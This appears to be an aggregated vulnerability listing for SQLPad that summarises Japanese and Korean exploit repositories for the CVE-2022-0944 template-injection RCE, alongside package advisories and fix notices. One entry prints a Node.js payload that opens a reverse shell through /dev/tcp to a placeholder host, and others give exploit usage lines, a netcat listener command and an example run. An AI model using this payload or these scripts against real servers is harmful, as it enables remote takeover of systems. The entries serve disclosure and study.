CVE-2022-0944

CVE-2022-0944 SQLPad - テンプレートインジェクション これはブラインド脆弱性であり、出力がレスポンスに直接返されることを意味します。 エクスプロイト 次のコマンドでスクリプトを使用してください： python3 exploit.py --url http://localhost:13000 --command 'ls -la /tmp/test' --username admin --password password 出力 Login was successfull Exploited! テスト環境 Dockerを使用する場合： dockerコンテナを起動 -...

CVE-2022-0944

CVE-2022-0944 PoC SQLPad에서 RCE를 위한 PoC입니다. 이 예제는 리버스 셸을 생성하지만, 페이로드 내 'exec' 호출의 명령을 변경하여 사용 가능한 모든 명령을 실행하도록 페이로드를 수정할 수 있습니다. payload = f" process.mainModule.require'childprocess'.exec'/bin/bash -c "bash -i & /dev/tcp/reversehost/reverseport 0&1"' " 요구 사항 Python 3 사용법 1. 리스너 시작...

GHSA-RPW4-54J3-4H4Q vulnerabilities

Vulnerabilities for packages: code-server, homepage, pulumi, sqlpad, librechat, unleash, kibana, lerna, unleash-proxy, langfuse-fips, actions-runner, unleash-fips, langfuse, npm...

CVE-2026-101913 vulnerabilities

Vulnerabilities for packages: code-server, homepage, pulumi, sqlpad, librechat, unleash, kibana, lerna, unleash-proxy, langfuse-fips, actions-runner, unleash-fips, langfuse, npm...

GHSA-2VR4-CQ9G-PVRC vulnerabilities

Vulnerabilities for packages: code-server, homepage, pulumi, sqlpad, librechat, unleash, kibana, lerna, unleash-proxy, langfuse-fips, actions-runner, unleash-fips, langfuse, npm...

CVE-2026-101910 vulnerabilities

Vulnerabilities for packages: code-server, homepage, pulumi, sqlpad, librechat, unleash, kibana, lerna, unleash-proxy, langfuse-fips, actions-runner, unleash-fips, langfuse, npm...

CVE-2026-101913 vulnerabilities

Vulnerabilities for packages: pulumi, npm, lerna, sqlpad, code-server...

CVE-2026-101910 vulnerabilities

Vulnerabilities for packages: pulumi, npm, lerna, sqlpad, code-server...

GHSA-2VR4-CQ9G-PVRC vulnerabilities

Vulnerabilities for packages: pulumi, npm, lerna, sqlpad, code-server...

GHSA-RPW4-54J3-4H4Q vulnerabilities

Vulnerabilities for packages: pulumi, npm, lerna, sqlpad, code-server...

CVE-2022-0944

CVE-2022-0944 SQLPad RCE CVE-2022-0944 の概念実証エクスプロイトです。 使用方法 usage: main.py -h url lhost lport username password positional arguments: url URL to SQLPad lhost Listener host address for reverse shell lport Listener port for reverse shell username login username optional password login password...

sqlpad-rce-exploit-CVE-2022-0944

SQLPad RCE 익스플로잇 이 저장소는 SQLPad의 CVE-2022-0944에 대한 익스플로잇 스크립트를 포함하고 있습니다. 이 취약점은 /api/test-connection 엔드포인트를 통해 원격 코드 실행RCE을 허용합니다. 개요 제공된 스크립트exploit.py는 SQLPad의 RCE 취약점을 익스플로잇하는 방법을 보여줍니다. 이 스크립트는 취약한 엔드포인트에 페이로드를 전송하여 대상 서버에서 명령을 실행합니다. 기능 블라인드 RCE : 직접적인 응답을 받지 않고 대상 서버에서 명령을 실행합니다. Netcat 리스너...

CVE-2022-0944_RCE_POC

CVE-2022-0944 SQLPad RCE CVE-2022-0944에 대한 개념 증명 익스플로잇으로, 공격자 PC로의 리버스 쉘을 통한 RCE를 유발합니다. 사용법 usage: script.py URL IP PORT positional arguments: URL SQLPad의 URL IP 리버스 쉘을 위한 리스너 호스트 주소 PORT 리버스 쉘을 위한 리스너 포트 예시: 익스플로잇 실행 ./script.py http://admin.sightless.htb 10.10.11.2 443 면책 조항 이 저장소에는 사이버 보안 학습...

SQLPad-RCE-Exploit-CVE-2022-0944

動作の仕組み: このPHPコードは、SQLPad におけるリモートコード実行（RCE）の脆弱性（CVE-2022-0944 ）を悪用するために設計されています。 SQLPadアプリケーションに悪意のあるコードを注入し、脆弱なシステムのリモート制御を攻撃者に与える接続であるリバースシェルを開くシステムコマンドを実行させます。 前提条件: PHP CLI – sudo apt-get install php-cli cURL（PHP cURLライブラリ） – sudo apt-get install php-curl 使用方法: 1. リスナーのセットアップ（攻撃者マシン上）...

SQLPad-6.10.0-Exploit-CVE-2022-0944

SQLPad 6.10.0 익스플로잇 CVE-2022-0944 이 Bash 스크립트는 SQLPad 6.10.0의 RCE 취약점을 악용합니다. 공격자는 SQLPad의 MySQL 데이터베이스 연결 설정에서 host 및 database 필드를 남용하여 원격 코드 실행RCE을 달성할 수 있습니다. 이 익스플로잇은 Node.js의 childprocess 모듈에 대한 SQLPad의 비위생적인 처리를 악용하여 임의의 명령을 실행하고, 최종적으로 공격자 머신에 리버스 셸을 엽니다. 필수 조건 1. Netcat 리스너 : nc -lvnp 900...

GHSA-7Q85-XJ36-VMFC vulnerabilities

Vulnerabilities for packages: sqlpad, saf...

CVE-2026-77301 vulnerabilities

Vulnerabilities for packages: sqlpad, saf...

CLEANSTART-2026-MC89115 Security fix for CVE-2025-57350 applied in: sqlpad 7.5.7-r0, sqlpad 7.5.7-r1

CVE-2025-57350 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-RL65112 Security fix for CVE-2026-25547 applied in: npm 11.8.0-r0, renovate 43.4.3-r1, renovate 43.4.4-r0, sqlpad 7.5.7-r0, sqlpad 7.5.7-r1

CVE-2026-25547 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...

CLEANSTART-2026-WV30852 Security fix for CVE-2026-29786 applied in: mongosh 2.5.10-r5, mongosh 2.6.0-r4, renovate 43.4.3-r1, renovate 43.4.4-r0, sqlpad 7.5.7-r1, thingsboard-tb-web-ui 4.3.1-r0

CVE-2026-29786 affects multiple packages. This issue is resolved in later releases. See references for individual vulnerability details...